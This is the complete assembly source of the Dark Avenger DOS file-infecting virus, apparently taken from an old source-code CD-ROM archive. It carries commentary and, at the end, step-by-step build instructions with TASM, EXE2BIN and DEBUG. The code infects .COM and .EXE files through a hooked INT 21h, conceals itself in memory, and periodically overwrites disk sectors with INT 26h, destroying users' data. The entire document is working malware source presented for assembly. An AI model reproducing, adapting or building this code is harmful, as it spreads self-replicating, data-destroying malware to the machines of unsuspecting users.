home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / DARKAV.ASM / text0000.txt < prev   
Encoding:
Text File  |  1994-11-29  |  25.5 KB  |  1,020 lines

  1.     DARK AVENGER VIRUS
  2.  
  3.  
  4. code    segment
  5.         assume  cs:code,ds:code
  6. copyright:
  7.         db      'Eddie lives...somewhere in time!',0
  8. date_stamp:
  9.         dd      12239000h
  10. checksum:
  11.         db      30
  12.  
  13. ; Return the control to an .EXE file:
  14. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  15.  
  16.  
  17.  
  18.  
  19.  
  20. exit_exe:
  21.         mov     bx,es
  22.         add     bx,10h
  23.         add     bx,word ptr cs:[si+call_adr+2]
  24.         mov     word ptr cs:[si+patch+2],bx
  25.         mov     bx,word ptr cs:[si+call_adr]
  26.         mov     word ptr cs:[si+patch],bx
  27.         mov     bx,es
  28.         add     bx,10h
  29.         add     bx,word ptr cs:[si+stack_pointer+2]
  30.         mov     ss,bx
  31.         mov     sp,word ptr cs:[si+stack_pointer]
  32.         db      0eah                    ;JMP XXXX:YYYY
  33. patch:
  34.         dd      0
  35.  
  36. ; Returns control to a .COM file:
  37. ; Restores the first 3 bytes in the
  38. ; beginning of the file, loads SP and IP.
  39.  
  40. exit_com:
  41.  
  42.  
  43.  
  44.  
  45.         mov     di,100h
  46.         add     si,offset my_save
  47.         movsb
  48.         movsw
  49.         mov     sp,ds:[6]               ;This is incorrect
  50.         xor     bx,bx
  51.         push    bx
  52.         jmp     [si-11]                 ;si+call_adr-top_file
  53.  
  54. ; Program entry point
  55.  
  56. startup:
  57.         call    relative
  58. relative:
  59.         pop     si                      ;SI = $
  60.         sub     si,offset relative
  61.         cld
  62.         cmp     word ptr cs:[si+my_save],5a4dh
  63.         je      exe_ok
  64.         cli
  65.         mov     sp,si                   ;A separate stack is supported 
  66. for
  67.         add     sp,offset top_file+100h ;the .COM files, in order not to
  68.         sti                             ;overlap the stack by the 
  69. program
  70.         cmp     sp,ds:[6]
  71.         jnc     exit_com
  72. exe_ok:
  73.         push    ax
  74.         push    es
  75.         push    si
  76.         push    ds
  77.         mov     di,si
  78.  
  79. ; Looking for the address of INT 13h handler in ROM-BIOS
  80.  
  81.         xor     ax,ax
  82.         push    ax
  83.         mov     ds,ax
  84.         les     ax,ds:[13h*4]
  85.         mov     word ptr cs:[si+fdisk],ax
  86.         mov     word ptr cs:[si+fdisk+2],es
  87.         mov     word ptr cs:[si+disk],ax
  88.         mov     word ptr cs:[si+disk+2],es
  89.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to 
  90. INT 40h
  91.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  92.         jne     nofdisk                 ;available
  93.         mov     word ptr cs:[si+disk+2],ax
  94.         mov     ax,ds:[40h*4]
  95.         mov     word ptr cs:[si+disk],ax
  96.         mov     dl,80h
  97.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the 
  98. segment,
  99.         cmp     ax,0f000h               ;where the original INT 13h 
  100. vector is
  101.         je      isfdisk
  102.         cmp     ah,0c8h
  103.         jc      nofdisk
  104.         cmp     ah,0f4h
  105.         jnc     nofdisk
  106.         test    al,7fh
  107.         jnz     nofdisk
  108.         mov     ds,ax
  109.         cmp     ds:[0],0aa55h
  110.         jne     nofdisk
  111.         mov     dl,ds:[2]
  112. isfdisk:
  113.         mov     ds,ax
  114.         xor     dh,dh
  115.         mov     cl,9
  116.         shl     dx,cl
  117.         mov     cx,dx
  118.         xor     si,si
  119. findvect:
  120.         lodsw                           ;Occasionally begins with:
  121.         cmp     ax,0fa80h               ;       CMP     DL,80h
  122.         jne     altchk                  ;       JNC     somewhere
  123.         lodsw
  124.         cmp     ax,7380h
  125.         je      intchk
  126.         jne     nxt0
  127. altchk:
  128.         cmp     ax,0c2f6h               ;or with:
  129.         jne     nxt                     ;       TEST    DL,80h
  130.         lodsw                           ;       JNZ     somewhere
  131.         cmp     ax,7580h
  132.         jne     nxt0
  133. intchk:
  134.         inc     si                      ;then there is:
  135.         lodsw                           ;       INT     40h
  136.         cmp     ax,40cdh
  137.         je      found
  138.         sub     si,3
  139. nxt0:
  140.         dec     si
  141.         dec     si
  142. nxt:
  143.         dec     si
  144.         loop    findvect
  145.         jmp     short nofdisk
  146. found:
  147.         sub     si,7
  148.         mov     word ptr cs:[di+fdisk],si
  149.         mov     word ptr cs:[di+fdisk+2],ds
  150. nofdisk:
  151.         mov     si,di
  152.         pop     ds
  153.  
  154. ; Check whether the program is present in memory:
  155.  
  156.         les     ax,ds:[21h*4]
  157.         mov     word ptr cs:[si+save_int_21],ax
  158.         mov     word ptr cs:[si+save_int_21+2],es
  159.         push    cs
  160.         pop     ds
  161.         cmp     ax,offset int_21
  162.         jne     bad_func
  163.         xor     di,di
  164.         mov     cx,offset my_size
  165. scan_func:
  166.         lodsb
  167.         scasb
  168.         jne     bad_func
  169.         loop    scan_func
  170.         pop     es
  171.         jmp     go_program
  172.  
  173. ; Move the program to the top of memory:
  174. ; (it's full of rubbish and bugs here)
  175.  
  176. bad_func:
  177.         pop     es
  178.         mov     ah,49h
  179.         int     21h
  180.         mov     bx,0ffffh
  181.         mov     ah,48h
  182.         int     21h
  183.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  184.         jc      go_program
  185.         mov     cx,es
  186.         stc
  187.         adc     cx,bx
  188.         mov     ah,4ah
  189.         int     21h
  190.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  191.         stc
  192.         sbb     es:[2],bx
  193.         push    es
  194.         mov     es,cx
  195.         mov     ah,4ah
  196.         int     21h
  197.         mov     ax,es
  198.         dec     ax
  199.         mov     ds,ax
  200.         mov     word ptr ds:[1],8
  201.         call    mul_16
  202.         mov     bx,ax
  203.         mov     cx,dx
  204.         pop     ds
  205.         mov     ax,ds
  206.         call    mul_16
  207.         add     ax,ds:[6]
  208.         adc     dx,0
  209.         sub     ax,bx
  210.         sbb     dx,cx
  211.         jc      mem_ok
  212.         sub     ds:[6],ax               ;Reduction of the segment size
  213. mem_ok:
  214.         pop     si
  215.         push    si
  216.         push    ds
  217.         push    cs
  218.         xor     di,di
  219.         mov     ds,di
  220.         lds     ax,ds:[27h*4]
  221.         mov     word ptr cs:[si+save_int_27],ax
  222.         mov     word ptr cs:[si+save_int_27+2],ds
  223.         pop     ds
  224.         mov     cx,offset aux_size
  225.         rep     movsb
  226.         xor     ax,ax
  227.         mov     ds,ax
  228.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  229.         mov     ds:[21h*4+2],es
  230.         mov     ds:[27h*4],offset int_27
  231.         mov     ds:[27h*4+2],es
  232.         mov     word ptr es:[filehndl],ax
  233.         pop     es
  234. go_program:
  235.         pop     si
  236.  
  237. ; Smash the next disk sector:
  238.  
  239.         xor     ax,ax
  240.         mov     ds,ax
  241.         mov     ax,ds:[13h*4]
  242.         mov     word ptr cs:[si+save_int_13],ax
  243.         mov     ax,ds:[13h*4+2]
  244.         mov     word ptr cs:[si+save_int_13+2],ax
  245.         mov     ds:[13h*4],offset int_13
  246.         add     ds:[13h*4],si
  247.         mov     ds:[13h*4+2],cs
  248.         pop     ds
  249.         push    ds
  250.         push    si
  251.         mov     bx,si
  252.         lds     ax,ds:[2ah]
  253.         xor     si,si
  254.         mov     dx,si
  255. scan_envir:                             ;Fetch program's name
  256.         lodsw                           ;(with DOS 2.x it doesn't work 
  257. anyway)
  258.         dec     si
  259.         test    ax,ax
  260.         jnz     scan_envir
  261.         add     si,3
  262.         lodsb
  263.  
  264. ; The following instruction is a complete nonsense.  Try to enter a 
  265. drive &
  266. ; directory path in lowercase, then run an infected program from there.
  267. ; As a result of an error here + an error in DOS the next sector is not
  268. ; smashed. Two memory bytes are smashed instead, most probably onto the
  269. ; infected program.
  270.  
  271.         sub     al,'A'
  272.         mov     cx,1
  273.         push    cs
  274.         pop     ds
  275.         add     bx,offset int_27
  276.         push    ax
  277.         push    bx
  278.         push    cx
  279.         int     25h
  280.         pop     ax
  281.         pop     cx
  282.         pop     bx
  283.         inc     byte ptr [bx+0ah]
  284.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  285.         jnz     store_sec               ;nothing is not enough for some.
  286.         mov     al,[bx+10h]
  287.         xor     ah,ah
  288.         mul     word ptr [bx+16h]
  289.         add     ax,[bx+0eh]
  290.         push    ax
  291.         mov     ax,[bx+11h]
  292.         mov     dx,32
  293.         mul     dx
  294.         div     word ptr [bx+0bh]
  295.         pop     dx
  296.         add     dx,ax
  297.         mov     ax,[bx+8]
  298.         add     ax,40h
  299.         cmp     ax,[bx+13h]
  300.         jc      store_new
  301.         inc     ax
  302.         and     ax,3fh
  303.         add     ax,dx
  304.         cmp     ax,[bx+13h]
  305.         jnc     small_disk
  306. store_new:
  307.         mov     [bx+8],ax
  308. store_sec:
  309.         pop     ax
  310.         xor     dx,dx
  311.         push    ax
  312.         push    bx
  313.         push    cx
  314.         int     26h
  315.  
  316.  
  317. ; The writing trough this interrupt is not the smartest thing, bacause 
  318. it
  319. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  320.  
  321.         pop     ax
  322.         pop     cx
  323.         pop     bx
  324.         pop     ax
  325.         cmp     byte ptr [bx+0ah],0
  326.         jne     not_now
  327.         mov     dx,[bx+8]
  328.         pop     bx
  329.         push    bx
  330.         int     26h
  331. small_disk:
  332.         pop     ax
  333. not_now:
  334.         pop     si
  335.         xor     ax,ax
  336.         mov     ds,ax
  337.         mov     ax,word ptr cs:[si+save_int_13]
  338.         mov     ds:[13h*4],ax
  339.         mov     ax,word ptr cs:[si+save_int_13+2]
  340.         mov     ds:[13h*4+2],ax
  341.         pop     ds
  342.         pop     ax
  343.         cmp     word ptr cs:[si+my_save],5a4dh
  344.         jne     go_exit_com
  345.         jmp     exit_exe
  346. go_exit_com:
  347.         jmp     exit_com
  348. int_24:
  349.         mov     al,3                    ;This instruction seems 
  350. unnecessary
  351.         iret
  352.  
  353. ; INT 27h handler (this is necessary)
  354.  
  355. int_27:
  356.         pushf
  357.         call    alloc
  358.         popf
  359.         jmp     dword ptr cs:[save_int_27]
  360.  
  361. ; During the DOS functions Set & Get Vector it seems that the virus has 
  362. not
  363. ; intercepted them (this is a doubtfull advantage and it is a possible
  364. ; source of errors with some "intelligent" programs)
  365.  
  366. set_int_27:
  367.         mov     word ptr cs:[save_int_27],dx
  368.         mov     word ptr cs:[save_int_27+2],ds
  369.         popf
  370.         iret
  371. set_int_21:
  372.         mov     word ptr cs:[save_int_21],dx
  373.         mov     word ptr cs:[save_int_21+2],ds
  374.         popf
  375.         iret
  376. get_int_27:
  377.         les     bx,dword ptr cs:[save_int_27]
  378.         popf
  379.         iret
  380. get_int_21:
  381.         les     bx,dword ptr cs:[save_int_21]
  382.         popf
  383.         iret
  384.  
  385. exec:
  386.  
  387.  
  388.         call    do_file
  389.         call    alloc
  390.         popf
  391.         jmp     dword ptr cs:[save_int_21]
  392.  
  393.         db      'Diana P.',0
  394.  
  395. ; INT 21h handler.  Infects files during execution, copying, browsing or
  396. ; creating and some other operations. The execution of functions 0 and 
  397. 26h
  398. ; has bad consequences.
  399.  
  400. int_21:
  401.         push    bp
  402.         mov     bp,sp
  403.         push    [bp+6]
  404.         popf
  405.         pop     bp
  406.         pushf
  407.         call    ontop
  408.         cmp     ax,2521h
  409.         je      set_int_21
  410.         cmp     ax,2527h
  411.         je      set_int_27
  412.         cmp     ax,3521h
  413.         je      get_int_21
  414.         cmp     ax,3527h
  415.         je      get_int_27
  416.         cld
  417.         cmp     ax,4b00h
  418.         je      exec
  419.         cmp     ah,3ch
  420.         je      create
  421.         cmp     ah,3eh
  422.         je      close
  423.         cmp     ah,5bh
  424.         jne     not_create
  425. create:
  426.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  427.         jne     dont_touch
  428.         call    see_name
  429.         jnz     dont_touch
  430.         call    alloc
  431.         popf
  432.         call    function
  433.         jc      int_exit
  434.         pushf
  435.         push    es
  436.         push    cs
  437.         pop     es
  438.         push    si
  439.         push    di
  440.         push    cx
  441.         push    ax
  442.         mov     di,offset filehndl
  443.         stosw
  444.         mov     si,dx
  445.         mov     cx,65
  446. move_name:
  447.         lodsb
  448.         stosb
  449.         test    al,al
  450.         jz      all_ok
  451.         loop    move_name
  452.         mov     word ptr es:[filehndl],cx
  453. all_ok:
  454.         pop     ax
  455.         pop     cx
  456.         pop     di
  457.         pop     si
  458.         pop     es
  459. go_exit:
  460.         popf
  461.         jnc     int_exit                ;JMP
  462. close:
  463.         cmp     bx,word ptr cs:[filehndl]
  464.         jne     dont_touch
  465.         test    bx,bx
  466.         jz      dont_touch
  467.         call    alloc
  468.         popf
  469.         call    function
  470.         jc      int_exit
  471.         pushf
  472.         push    ds
  473.         push    cs
  474.         pop     ds
  475.         push    dx
  476.         mov     dx,offset filehndl+2
  477.         call    do_file
  478.         mov     word ptr cs:[filehndl],0
  479.         pop     dx
  480.         pop     ds
  481.         jmp     go_exit
  482. not_create:
  483.         cmp     ah,3dh
  484.         je      touch
  485.         cmp     ah,43h
  486.         je      touch
  487.         cmp     ah,56h                  ;Unfortunately, the command 
  488. inter-
  489.         jne     dont_touch              ;preter does not use this 
  490. function
  491. touch:
  492.         call    see_name
  493.         jnz     dont_touch
  494.         call    do_file
  495. dont_touch:
  496.         call    alloc
  497.         popf
  498.         call    function
  499. int_exit:
  500.         pushf
  501.         push    ds
  502.         call    get_chain
  503.         mov     byte ptr ds:[0],'Z'
  504.         pop     ds
  505.         popf
  506. dummy   proc    far                     ;???
  507.         ret     2
  508. dummy   endp
  509.  
  510. ; Checks whether the file is .COM or .EXE.
  511. ; It is not called upon file execution.
  512.  
  513. see_name:
  514.         push    ax
  515.         push    si
  516.         mov     si,dx
  517. scan_name:
  518.         lodsb
  519.         test    al,al
  520.         jz      bad_name
  521.         cmp     al,'.'
  522.         jnz     scan_name
  523.         call    get_byte
  524.         mov     ah,al
  525.         call    get_byte
  526.         cmp     ax,'co'
  527.         jz      pos_com
  528.         cmp     ax,'ex'
  529.         jnz     good_name
  530.         call    get_byte
  531.         cmp     al,'e'
  532.         jmp     short good_name
  533. pos_com:
  534.         call    get_byte
  535.         cmp     al,'m'
  536.         jmp     short good_name
  537. bad_name:
  538.         inc     al
  539. good_name:
  540.         pop     si
  541.         pop     ax
  542.         ret
  543.  
  544. ; Converts into lowercase (the subroutines are a great thing).
  545.  
  546. get_byte:
  547.         lodsb
  548.         cmp     al,'C'
  549.         jc      byte_got
  550.         cmp     al,'Y'
  551.         jnc     byte_got
  552.         add     al,20h
  553. byte_got:
  554.         ret
  555.  
  556. ; Calls the original INT 21h.
  557.  
  558. function:
  559.         pushf
  560.         call    dword ptr cs:[save_int_21]
  561.         ret
  562.  
  563. ; Arrange to infect an executable file.
  564.  
  565. do_file:
  566.         push    ds                      ;Save the registers in stack
  567.         push    es
  568.         push    si
  569.         push    di
  570.         push    ax
  571.         push    bx
  572.         push    cx
  573.         push    dx
  574.         mov     si,ds
  575.         xor     ax,ax
  576.         mov     ds,ax
  577.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in 
  578. stack
  579.         push    es                      ;and changes them with what is 
  580. needed
  581.         push    ax
  582.         mov     ds:[24h*4],offset int_24
  583.         mov     ds:[24h*4+2],cs
  584.         les     ax,ds:[13h*4]
  585.         mov     word ptr cs:[save_int_13],ax
  586.         mov     word ptr cs:[save_int_13+2],es
  587.         mov     ds:[13h*4],offset int_13
  588.         mov     ds:[13h*4+2],cs
  589.         push    es
  590.         push    ax
  591.         mov     ds,si
  592.         xor     cx,cx                   ;Arranges to infect Read-only 
  593. files
  594.         mov     ax,4300h
  595.         call    function
  596.         mov     bx,cx
  597.         and     cl,0feh
  598.         cmp     cl,bl
  599.         je      dont_change
  600.         mov     ax,4301h
  601.         call    function
  602.         stc
  603. dont_change:
  604.         pushf
  605.         push    ds
  606.         push    dx
  607.         push    bx
  608.         mov     ax,3d02h                ;Now we can safely open the file
  609.         call    function
  610.         jc      cant_open
  611.         mov     bx,ax
  612.         call    disease
  613.         mov     ah,3eh                  ;Close it
  614.  
  615.         call    function
  616. cant_open:
  617.         pop     cx
  618.         pop     dx
  619.         pop     ds
  620.         popf
  621.         jnc     no_update
  622.         mov     ax,4301h                ;Restores file's attributes
  623.         call    function                ;if they were changed (just in 
  624. case)
  625. no_update:
  626.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  627.         mov     ds,ax
  628.         pop     ds:[13h*4]
  629.         pop     ds:[13h*4+2]
  630.         pop     ds:[24h*4]
  631.         pop     ds:[24h*4+2]
  632.         pop     dx                      ;Register restoration
  633.         pop     cx
  634.         pop     bx
  635.         pop     ax
  636.         pop     di
  637.         pop     si
  638.         pop     es
  639.         pop     ds
  640.         ret
  641.  
  642. ; This routine is the working horse.
  643.  
  644. disease:
  645.         push    cs
  646.         pop     ds
  647.         push    cs
  648.         pop     es
  649.         mov     dx,offset top_save      ;Read the file beginning
  650.         mov     cx,18h
  651.         mov     ah,3fh
  652.         int     21h
  653.         xor     cx,cx
  654.         xor     dx,dx
  655.         mov     ax,4202h                ;Save file length
  656.         int     21h
  657.         mov     word ptr [top_save+1ah],dx
  658.         cmp     ax,offset my_size       ;This should be top_file
  659.         sbb     dx,0
  660.         jc      stop_fuck_2             ;Small files are not infected
  661.         mov     word ptr [top_save+18h],ax
  662.         cmp     word ptr [top_save],5a4dh
  663.         jne     com_file
  664.         mov     ax,word ptr [top_save+8]
  665.         add     ax,word ptr [top_save+16h]
  666.         call    mul_16
  667.         add     ax,word ptr [top_save+14h]
  668.         adc     dx,0
  669.         mov     cx,dx
  670.         mov     dx,ax
  671.         jmp     short see_sick
  672. com_file:
  673.         cmp     byte ptr [top_save],0e9h
  674.         jne     see_fuck
  675.         mov     dx,word ptr [top_save+1]
  676.         add     dx,103h
  677.         jc      see_fuck
  678.         dec     dh
  679.         xor     cx,cx
  680.  
  681. ; Check if the file is properly infected
  682.  
  683.  
  684. see_sick:
  685.         sub     dx,startup-copyright
  686.         sbb     cx,0
  687.         mov     ax,4200h
  688.         int     21h
  689.         add     ax,offset top_file
  690.         adc     dx,0
  691.         cmp     ax,word ptr [top_save+18h]
  692.         jne     see_fuck
  693.         cmp     dx,word ptr [top_save+1ah]
  694.         jne     see_fuck
  695.         mov     dx,offset top_save+1ch
  696.         mov     si,dx
  697.         mov     cx,offset my_size
  698.         mov     ah,3fh
  699.         int     21h
  700.         jc      see_fuck
  701.         cmp     cx,ax
  702.         jne     see_fuck
  703.         xor     di,di
  704. next_byte:
  705.  
  706.         lodsb
  707.         scasb
  708.         jne     see_fuck
  709.         loop    next_byte
  710. stop_fuck_2:
  711.         ret
  712. see_fuck:
  713.         xor     cx,cx                   ;Seek to the end of file
  714.         xor     dx,dx
  715.         mov     ax,4202h
  716.         int     21h
  717.         cmp     word ptr [top_save],5a4dh
  718.         je      fuck_exe
  719.         add     ax,offset aux_size+200h ;Watch out for too big .COM 
  720. files
  721.         adc     dx,0
  722.         je      fuck_it
  723.         ret
  724.  
  725. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  726.  
  727. fuck_exe:
  728.         mov     dx,word ptr [top_save+18h]
  729.         neg     dl
  730.         and     dx,0fh
  731.         xor     cx,cx
  732.         mov     ax,4201h
  733.         int     21h
  734.         mov     word ptr [top_save+18h],ax
  735.         mov     word ptr [top_save+1ah],dx
  736. fuck_it:
  737.         mov     ax,5700h                ;Get file's date
  738.         int     21h
  739.         pushf
  740.         push    cx
  741.         push    dx
  742.         cmp     word ptr [top_save],5a4dh
  743.         je      exe_file                ;Very clever, isn't it?
  744.         mov     ax,100h
  745.         jmp     short set_adr
  746. exe_file:
  747.         mov     ax,word ptr [top_save+14h]
  748.         mov     dx,word ptr [top_save+16h]
  749. set_adr:
  750.         mov     di,offset call_adr
  751.         stosw
  752.         mov     ax,dx
  753.         stosw
  754.         mov     ax,word ptr [top_save+10h]
  755.         stosw
  756.         mov     ax,word ptr [top_save+0eh]
  757.         stosw
  758.         mov     si,offset top_save      ;This offers the possibilities 
  759. to
  760.         movsb                           ;some nasty programs to restore
  761.         movsw                           ;exactly the original length
  762.         xor     dx,dx                   ;of the .EXE files
  763.         mov     cx,offset top_file
  764.         mov     ah,40h
  765.         int     21h                     ;Write the virus
  766.         jc      go_no_fuck              ;(don't trace here)
  767.         xor     cx,ax
  768.         jnz     go_no_fuck
  769.         mov     dx,cx
  770.         mov     ax,4200h
  771.         int     21h
  772.         cmp     word ptr [top_save],5a4dh
  773.         je      do_exe
  774.         mov     byte ptr [top_save],0e9h
  775.         mov     ax,word ptr [top_save+18h]
  776.         add     ax,startup-copyright-3
  777.         mov     word ptr [top_save+1],ax
  778.         mov     cx,3
  779.         jmp     short write_header
  780. go_no_fuck:
  781.         jmp     short no_fuck
  782.  
  783. ; Construct the .EXE file's header
  784.  
  785. do_exe:
  786.         call    mul_hdr
  787.         not     ax
  788.         not     dx
  789.         inc     ax
  790.         jne     calc_offs
  791.         inc     dx
  792. calc_offs:
  793.         add     ax,word ptr [top_save+18h]
  794.         adc     dx,word ptr [top_save+1ah]
  795.         mov     cx,10h
  796.         div     cx
  797.         mov     word ptr [top_save+14h],startup-copyright
  798.         mov     word ptr [top_save+16h],ax
  799.         add     ax,(offset top_file-offset copyright-1)/16+1
  800.         mov     word ptr [top_save+0eh],ax
  801.         mov     word ptr [top_save+10h],100h
  802.         add     word ptr [top_save+18h],offset top_file
  803.         adc     word ptr [top_save+1ah],0
  804.         mov     ax,word ptr [top_save+18h]
  805.         and     ax,1ffh
  806.         mov     word ptr [top_save+2],ax
  807.         pushf
  808.         mov     ax,word ptr [top_save+19h]
  809.         shr     byte ptr [top_save+1bh],1
  810.         rcr     ax,1
  811.         popf
  812.         jz      update_len
  813.         inc     ax
  814. update_len:
  815.         mov     word ptr [top_save+4],ax
  816.         mov     cx,18h
  817. write_header:
  818.         mov     dx,offset top_save
  819.         mov     ah,40h
  820.         int     21h                     ;Write the file beginning
  821. no_fuck:
  822.         pop     dx
  823.         pop     cx
  824.         popf
  825.         jc      stop_fuck
  826.         mov     ax,5701h                ;Restore the original file date
  827.         int     21h
  828. stop_fuck:
  829.         ret
  830.  
  831. ; The following is used by the INT 21h and INT 27h handlers in 
  832. connection
  833. ; to the program hiding in memory from those who don't need to see it.
  834. ; The whole system is absurde and meaningless and it is also another 
  835. source
  836. ; for program conflicts.
  837.  
  838. alloc:
  839.         push    ds
  840.         call    get_chain
  841.         mov     byte ptr ds:[0],'M'
  842.         pop     ds
  843.  
  844. ; Assures that the program is the first one in the processes,
  845. ; which have intercepted INT 21h (yet another source of conflicts).
  846.  
  847. ontop:
  848.         push    ds
  849.         push    ax
  850.         push    bx
  851.         push    dx
  852.         xor     bx,bx
  853.         mov     ds,bx
  854.         lds     dx,ds:[21h*4]
  855.         cmp     dx,offset int_21
  856.         jne     search_segment
  857.         mov     ax,ds
  858.         mov     bx,cs
  859.         cmp     ax,bx
  860.         je      test_complete
  861.  
  862. ; Searches the segment of the sucker who has intercepted INT 21h, in
  863. ; order to find where it has stored the old values and to replace them.
  864. ; Nothing is done for INT 27h.
  865.  
  866.         xor     bx,bx
  867. search_segment:
  868.         mov     ax,[bx]
  869.         cmp     ax,offset int_21
  870.         jne     search_next
  871.         mov     ax,cs
  872.         cmp     ax,[bx+2]
  873.         je      got_him
  874. search_next:
  875.         inc     bx
  876.         jne     search_segment
  877.         je      return_control
  878. got_him:
  879.         mov     ax,word ptr cs:[save_int_21]
  880.         mov     [bx],ax
  881.         mov     ax,word ptr cs:[save_int_21+2]
  882.         mov     [bx+2],ax
  883.         mov     word ptr cs:[save_int_21],dx
  884.         mov     word ptr cs:[save_int_21+2],ds
  885.         xor     bx,bx
  886.  
  887. ; Even if he has not saved them in the same segment, this won't help 
  888. him.
  889.  
  890. return_control:
  891.         mov     ds,bx
  892.         mov     ds:[21h*4],offset int_21
  893.         mov     ds:[21h*4+2],cs
  894. test_complete:
  895.         pop     dx
  896.         pop     bx
  897.         pop     ax
  898.         pop     ds
  899.         ret
  900.  
  901. ; Fetch the segment of the last MCB
  902.  
  903. get_chain:
  904.         push    ax
  905.         push    bx
  906.         mov     ah,62h
  907.         call    function
  908.         mov     ax,cs
  909.         dec     ax
  910.         dec     bx
  911. next_blk:
  912.         mov     ds,bx
  913.         stc
  914.         adc     bx,ds:[3]
  915.         cmp     bx,ax
  916.         jc      next_blk
  917.         pop     bx
  918.         pop     ax
  919.         ret
  920.  
  921. ; Multiply by 16
  922.  
  923. mul_hdr:
  924.         mov     ax,word ptr [top_save+8]
  925. mul_16:
  926.         mov     dx,10h
  927.         mul     dx
  928.         ret
  929.  
  930.         db      'This program was written in the city of Sofia '
  931.         db      '(C) 1988-89 Dark Avenger',0
  932.  
  933. ; INT 13h handler.
  934. ; Calls the original vectors in BIOS, if it's a writing call
  935.  
  936. int_13:
  937.         cmp     ah,3
  938.         jnz     subfn_ok
  939.         cmp     dl,80h
  940.         jnc     hdisk
  941.         db      0eah                    ;JMP XXXX:YYYY
  942. my_size:                                ;--- Up to here comparison
  943. disk:                                   ; with the original is made
  944.         dd      0
  945. hdisk:
  946.         db      0eah                    ;JMP XXXX:YYYY
  947. fdisk:
  948.         dd      0
  949. subfn_ok:
  950.         db      0eah                    ;JMP XXXX:YYYY
  951. save_int_13:
  952.         dd      0
  953. call_adr:
  954.         dd      100h
  955.  
  956. stack_pointer:
  957.         dd      0                       ;The original value of SS:SP
  958. my_save:
  959.         int     20h                     ;The original contents of the 
  960. first
  961.         nop                             ;3 bytes of the file
  962. top_file:                               ;--- Up to here the code is 
  963. written
  964. filehndl    equ $                       ; in the files
  965. filename    equ filehndl+2              ;Buffer for the name of the 
  966. opened file
  967. save_int_27 equ filename+65             ;Original INT 27h vector
  968. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  969. aux_size    equ save_int_21+4           ;--- Up to here is moved into 
  970. memory
  971. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  972.                                         ;contains
  973.                                         ; - The first 24 bytes read from 
  974. file
  975.                                         ; - File length (4 bytes)
  976.                                         ; - The last bytes of the file
  977.                                         ;   (my_size bytes)
  978. top_bz      equ top_save-copyright
  979. my_bz       equ my_size-copyright
  980.  
  981. code    ends
  982.         end
  983.  
  984. ------------------------------------------------------------------------
  985. ------
  986.  
  987.      A few notes on assembling this virus.
  988.  
  989.      It's a little bit tricky assembling the Dark Avenger Virus.  Use
  990.      these steps below.  I use Turbo Assembler 2.0, but I'm positve that
  991.      MASM will work just as well.
  992.  
  993.      1:
  994.          TASM AVENGER.ASM
  995.  
  996.      2:
  997.          TLINK AVENGER.OBJ
  998.  
  999.      3:
  1000.          EXE2BIN AVENGER AVENGER.COM
  1001.  
  1002.      Now make a 3 byte file named JUMP.TMP using DEBUG like this
  1003.  
  1004.      4:  DEBUG
  1005.  
  1006.          n jmp.tmp
  1007.          e 0100  E9 68 00
  1008.  
  1009.          rcx
  1010.          3
  1011.          w
  1012.          q
  1013.  
  1014.       5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM
  1015.  
  1016.          There you have it....
  1017.  
  1018.  
  1019.  
  1020.